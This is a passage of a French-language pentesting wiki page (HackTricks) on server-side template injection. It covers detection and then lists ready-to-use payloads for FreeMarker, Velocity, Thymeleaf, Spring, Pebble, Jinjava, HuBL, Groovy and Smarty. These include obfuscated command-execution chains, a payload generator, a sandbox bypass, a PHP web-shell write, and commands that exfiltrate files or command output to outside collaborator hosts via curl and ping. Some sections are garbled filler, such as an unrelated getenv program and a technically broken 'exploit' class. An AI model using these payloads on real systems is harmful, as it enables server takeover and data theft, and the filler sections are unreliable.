hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

1181 lines
61 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# SSTI (Injection de modèle côté serveur)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus important en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
{% embed url="https://www.rootedcon.com/" %}
## Qu'est-ce que l'injection de modèle côté serveur ?
Une injection de modèle côté serveur se produit lorsque un attaquant est capable d'utiliser la syntaxe de modèle native pour injecter une charge utile malveillante dans un modèle, qui est ensuite exécuté côté serveur.
Les **moteurs de modèle** sont conçus pour **générer des pages web** en **combinant** des modèles **fixes** avec des données **volatiles**. Les attaques d'injection de modèle côté serveur peuvent se produire lorsque l'**entrée utilisateur** est concaténée directement **dans un modèle**, plutôt que transmise en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre **le contrôle complet du serveur**.
Un exemple de code vulnérable est le suivant :
```php
$output = $twig->render("Dear " . $_GET['name']);
```
Dans l'exemple précédent, **une partie du modèle** lui-même est **générée dynamiquement** en utilisant le paramètre `GET` `name`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant d'insérer une charge utile d'injection de modèle côté serveur dans le paramètre `name` de la manière suivante :
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
## Construction d'une attaque d'injection de modèle côté serveur
![](../../.gitbook/assets/ssti-methodology-diagram.png)
### Détection
Comme pour toute vulnérabilité, la première étape vers l'exploitation consiste à la trouver. Peut-être la méthode la plus simple consiste à essayer de **fuzzer le modèle** en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte **`${{<%[%'"}}%\`.**\
Pour vérifier si le serveur est vulnérable, vous devez **repérer les différences** entre la réponse avec des **données régulières** sur le paramètre et la **charge utile donnée**.\
Si une **erreur est renvoyée**, il sera assez facile de déterminer que **le serveur est vulnérable** et même quel **moteur est utilisé**. Mais vous pouvez également trouver un serveur vulnérable si vous vous attendiez à ce qu'il **reflète** la charge utile donnée et qu'il ne le fait **pas** ou s'il manque certains **caractères** dans la réponse.
**Détection - Contexte en texte brut**
L'entrée donnée est **rendue et reflétée** dans la réponse. Cela peut facilement être confondu avec une vulnérabilité **XSS** (cross-site scripting) simple, mais il est facile de faire la différence si vous essayez d'effectuer des **opérations mathématiques** dans une expression de modèle :
```
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
```
**Détecter - Contexte du code**
Dans ces cas, l'**entrée de l'utilisateur** est placée **à l'intérieur** d'une **expression de modèle** :
```python
engine.render("Hello {{"+greeting+"}}", data)
```
L'accès à l'URL de cette page pourrait être similaire à : `http://vulnerable-website.com/?greeting=data.username`
Si vous **changez** le paramètre **`greeting`** pour une **valeur différente**, la **réponse ne contiendra pas le nom d'utilisateur**, mais si vous accédez à quelque chose comme : `http://vulnerable-website.com/?greeting=data.username}}hello`, **la réponse contiendra le nom d'utilisateur** (si les caractères de fermeture de l'expression de modèle étaient **`}}`**).\
Si une **erreur** se produit lors de ces tests, il sera plus facile de trouver que le serveur est vulnérable.
### Identification
Une fois que vous avez détecté le potentiel d'injection de modèle, l'étape suivante consiste à identifier le moteur de modèle.\
Bien qu'il existe un grand nombre de langages de modélisation, beaucoup d'entre eux utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.
Si vous avez de la chance, le serveur **affichera les erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Voici quelques charges utiles possibles qui peuvent provoquer des erreurs :
| `${}` | `{{}}` | `<%= %>` |
| ----------- | ------------ | --------------- |
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
| `${7*7}` | `{{7*7}}` | \`\` |
Sinon, vous devrez tester manuellement différentes charges utiles spécifiques à chaque langage et étudier comment elles sont interprétées par le moteur de modèle. Une façon courante de procéder consiste à injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de modèle. Vous pouvez ensuite observer s'ils sont évalués avec succès. Pour vous aider dans ce processus, vous pouvez utiliser un arbre de décision similaire à celui-ci :
![](<../../.gitbook/assets/image (272).png>)
### Exploitation
**Lecture**
La première étape après avoir trouvé une injection de modèle et identifié le moteur de modèle consiste à lire la documentation. Les domaines clés d'intérêt sont :
* Les sections "Pour les auteurs de modèles" qui couvrent la syntaxe de base.
* Les "Considérations de sécurité" - il est probable que la personne qui a développé l'application que vous testez ne les a pas lues, et elles peuvent contenir des indications utiles.
* Les listes de méthodes, fonctions, filtres et variables intégrées.
* Les listes d'extensions/plugins - certaines peuvent être activées par défaut.
**Exploration**
En supposant qu'aucune exploitation ne se soit présentée, l'étape suivante consiste à **explorer l'environnement** pour savoir exactement à quoi **vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de modèle et des **objets spécifiques à l'application** transmis au modèle par le développeur. De nombreux systèmes de modélisation exposent un objet "self" ou un objet d'espace de noms contenant tout ce qui est en scope, ainsi qu'une manière idiomatique de lister les attributs et méthodes d'un objet.
S'il n'y a pas d'objet self intégré, vous devrez deviner les noms de variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de passe de Burp Intruder.
Les objets fournis par le développeur sont particulièrement susceptibles de contenir des informations sensibles et peuvent varier entre différents modèles au sein d'une application, il est donc préférable d'appliquer ce processus à chaque modèle distinct individuellement.
**Attaque**
À ce stade, vous devriez avoir une **idée précise de la surface d'attaque** à votre disposition et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour trouver des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application dans son ensemble - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples qui suivent utiliseront l'injection de modèle pour déclencher la création arbitraire d'objets, la lecture/écriture arbitraire de fichiers, l'inclusion de fichiers distants, la divulgation d'informations et l'escalade de privilèges.
## Outils
### [Tplmap](https://github.com/epinna/tplmap)
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
## Exploits
### Générique
Dans cette **liste de mots**, vous pouvez trouver les **variables définies** dans les environnements de certains moteurs mentionnés ci-dessous :
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
### Java
**Java - Injection basique**
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
**Java - Récupérer les variables d'environnement du système**
Lors de l'évaluation de la sécurité d'une application, il peut être utile de récupérer les variables d'environnement du système sur lequel l'application est exécutée. Cela peut fournir des informations précieuses pour comprendre l'environnement dans lequel l'application est déployée.
En Java, vous pouvez utiliser la classe `System` pour accéder aux variables d'environnement du système. La méthode `getenv()` de cette classe renvoie un objet `Map` contenant toutes les variables d'environnement.
Voici un exemple de code qui récupère et affiche les variables d'environnement du système :
```java
import java.util.Map;
public class SystemEnvironmentVariables {
public static void main(String[] args) {
Map<String, String> env = System.getenv();
for (Map.Entry<String, String> entry : env.entrySet()) {
System.out.println(entry.getKey() + " = " + entry.getValue());
}
}
}
```
Ce code utilise la méthode `entrySet()` pour itérer sur toutes les entrées de la carte des variables d'environnement. Chaque entrée est ensuite affichée à l'aide de la méthode `println()`.
Lors de l'exécution de ce code, vous verrez s'afficher les noms et les valeurs des variables d'environnement du système.
Il est important de noter que l'accès aux variables d'environnement peut être limité en fonction des autorisations de l'application. Assurez-vous d'avoir les droits nécessaires pour accéder à ces informations.
```java
${T(java.lang.System).getenv()}
```
# Java - Récupérer /etc/passwd
## Description
Cette technique de piratage concerne l'injection de modèle côté serveur (Server-Side Template Injection - SSTI). Elle permet à un attaquant d'exécuter du code malveillant sur le serveur en exploitant une vulnérabilité dans le système de gestion de modèles utilisé par l'application web.
L'injection de modèle côté serveur se produit lorsque l'application web utilise un moteur de modèle qui permet l'exécution de code arbitraire. L'attaquant peut exploiter cette vulnérabilité en injectant du code malveillant dans les modèles de l'application, ce qui permet d'exécuter des commandes système sur le serveur.
Dans cet exemple, nous allons utiliser Java pour exploiter une vulnérabilité de SSTI et récupérer le fichier `/etc/passwd` du serveur.
## Exploitation
Pour exploiter cette vulnérabilité, nous devons identifier l'endroit où l'injection de modèle se produit dans l'application web. Cela peut être un champ de formulaire, un paramètre d'URL ou tout autre endroit où l'application utilise un moteur de modèle.
Une fois que nous avons identifié l'endroit de l'injection de modèle, nous pouvons utiliser une syntaxe spécifique pour exécuter du code Java. Dans cet exemple, nous utiliserons la syntaxe Freemarker, un moteur de modèle populaire en Java.
Voici un exemple de code Java qui exploite la vulnérabilité de SSTI et récupère le fichier `/etc/passwd` :
```java
import freemarker.template.Configuration;
import freemarker.template.Template;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
public class SSTIExploit {
public static void main(String[] args) throws Exception {
Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
cfg.setClassForTemplateLoading(SSTIExploit.class, "/");
Template template = cfg.getTemplate("{{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/cat /etc/passwd')}}");
StringWriter writer = new StringWriter();
Map<String, Object> data = new HashMap<>();
template.process(data, writer);
System.out.println(writer.toString());
}
}
```
Ce code utilise Freemarker pour injecter du code Java malveillant dans le modèle. Lorsque le modèle est traité, la méthode `exec` de la classe `Runtime` est appelée pour exécuter la commande système `/bin/cat /etc/passwd`. Le résultat est ensuite affiché dans la console.
## Prévention
Pour prévenir les attaques de SSTI, il est important de :
- Utiliser des moteurs de modèle sécurisés qui n'autorisent pas l'exécution de code arbitraire.
- Valider et filtrer les entrées utilisateur pour éviter les injections de modèle.
- Mettre à jour régulièrement les bibliothèques et les frameworks utilisés par l'application pour bénéficier des dernières corrections de sécurité.
Il est également recommandé de réaliser des tests de pénétration réguliers pour identifier et corriger les vulnérabilités de SSTI dans l'application web.
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
### FreeMarker (Java)
Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Rien`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Contournement du bac à sable**
⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
**Plus d'informations**
* Dans la section FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java)
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
**Plus d'informations**
* Dans la section Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
### Thymeleaf (Java)
L'expression de test typique pour SSTI est `${7*7}`. Cette expression fonctionne également avec Thymeleaf. Si vous souhaitez obtenir une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :
* SpringEL : `${T(java.lang.Runtime).getRuntime().exec('calc')}`
* OGNL : `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. Si vous devez utiliser une expression à un autre endroit dans le modèle, Thymeleaf prend en charge l'_insertion d'expression_. Pour utiliser cette fonctionnalité, vous devez placer une expression entre `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, une charge utile de détection SSTI simple pour Thymeleaf serait `[[${7*7}]]`.
Cependant, il est très peu probable que la charge utile de détection ci-dessus fonctionne. Les vulnérabilités SSTI se produisent généralement lorsqu'un modèle est généré dynamiquement dans le code. Thymeleaf, par défaut, n'autorise pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne _à la volée_, il devrait créer son propre TemplateResolver. Cela est possible mais se produit très rarement.
Si nous examinons plus en détail la documentation du moteur de modèles Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement des expressions**_. Les expressions placées entre deux tirets bas (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression lors du traitement régulier. Voici un exemple officiel de la documentation de Thymeleaf :
```java
#{selection.__${sel.code}__}
```
**Exemple vulnérable**
```markup
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Plus d'informations**
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Framework Spring (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Contourner les filtres**
Plusieurs expressions de variables peuvent être utilisées, si `${...}` ne fonctionne pas, essayez `#{...}`, `*{...}`, `@{...}` ou `~{...}`.
* Lire `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Script personnalisé pour la génération de la charge utile
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
**Plus d'informations**
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Manipulation de la vue Spring (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Pebble (Java)
* `{{ someString.toUPPERCASE() }}`
Ancienne version de Pebble ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Nouvelle version de Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
Jinjava is a powerful and flexible template engine for Java applications. It allows you to dynamically generate HTML, XML, JSON, and other text-based formats by combining templates with data. Jinjava supports a wide range of features, including conditionals, loops, filters, and macros, making it a versatile tool for server-side template injection (SSTI) attacks.
#### Server-Side Template Injection (SSTI)
Server-Side Template Injection (SSTI) is a vulnerability that occurs when an application allows user-supplied input to be directly embedded in a server-side template. This can lead to remote code execution (RCE) if an attacker is able to inject malicious code into the template.
#### Exploiting SSTI with Jinjava
To exploit SSTI using Jinjava, you need to identify the injection point in the application where user input is being used in a template. Once you have identified the injection point, you can attempt to inject Jinjava expressions or code snippets to execute arbitrary commands on the server.
Here are some common techniques used to exploit SSTI with Jinjava:
1. **Expression Injection**: Injecting Jinjava expressions to manipulate data or execute functions within the template.
2. **Code Execution**: Injecting Jinjava code snippets to execute arbitrary commands on the server.
3. **File Inclusion**: Exploiting Jinjava's file inclusion feature to read sensitive files on the server.
4. **Command Injection**: Injecting Jinjava expressions or code snippets that execute system commands on the server.
#### Prevention and Mitigation
To prevent SSTI vulnerabilities in applications that use Jinjava, it is important to follow secure coding practices:
1. **Input Validation**: Always validate and sanitize user input before using it in a template.
2. **Contextual Output Encoding**: Encode user-supplied data appropriately based on the context in which it is used.
3. **Template Sandbox**: Limit the capabilities of the template engine by sandboxing it to restrict access to sensitive resources.
4. **Least Privilege**: Ensure that the application's server-side code has the least privilege necessary to perform its functions.
By following these best practices, you can reduce the risk of SSTI vulnerabilities and protect your application from potential attacks.
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava est un projet open source développé par Hubspot, disponible sur [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - Exécution de commandes**
Corrigé par [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
### Hubspot - HuBL (Java)
* Délimiteurs d'instructions `{% %}`
* Délimiteurs d'expressions `{{ }}`
* Délimiteurs de commentaires `{# #}`
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Recherchez "com.hubspot.content.hubl.context.TemplateContextRequest" et découvrez le [projet Jinjava sur Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
**Plus d'informations**
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Expression Language - EL (Java)
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
* `#{7*7}` - 49
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique de l'application (beans gérés). L'EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de contextes et de dépendances pour Java EE (CDI).\
Consultez la page suivante pour en savoir plus sur **l'exploitation des interpréteurs EL** :
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Groovy (Java)
Ce contournement du gestionnaire de sécurité a été pris à partir de cette [**analyse**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
{% embed url="https://www.rootedcon.com/" %}
##
### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**Plus d'informations**
* Dans la section Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
